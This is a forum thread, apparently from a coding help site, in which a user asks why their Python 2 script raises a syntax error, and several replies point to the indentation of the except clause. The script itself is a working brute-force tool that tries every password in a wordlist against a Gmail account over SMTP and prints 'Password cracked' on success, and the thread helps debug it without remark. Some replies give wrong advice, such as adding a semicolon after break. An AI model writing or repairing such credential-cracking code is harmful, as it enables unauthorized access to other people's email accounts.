+ 3
I keep on getting An error in my code... could anybody help me? code in description. Error Is Invalid Syntax at the exception..
import smtplib import os os.system("clear") server = smtplib.SMTP("smtp.gmail.com", 587) server.ehlo() server.starttls() uname = raw_input("Email: ") passfile = raw_input("Password file: ") passfile = open(passfile, "r") for password in passfile: try: server.login(uname, password) print "Password cracked: {}".format(password) break except smtplib.SMTPAuthenticationError: print "Wrong password..."
12 Answers
+ 11
your except code is totally wrong,
write like this
try:
"code you need to test"
except type of the exeption:
"code to execute if the error ocured"
+ 11
your exept has extra tab
+ 11
heh) good luck!)
+ 2
It tries the username and pw password and if they are correct the for loop brakes, i put in the exception properly i think
+ 2
+__Nick what did I do wrong?
+ 2
Oh nevermind i figured it out, it was just the indent... haha thanks anyways!
+ 2
We replied at the same time lol
+ 2
thx :)
+ 2
I have already fixed it, but thanks anyways !
+ 2
I already fixed it but thx
0
I think you need to put a ; after break statement like this break;
0
it should be except :
u forgot to put indent :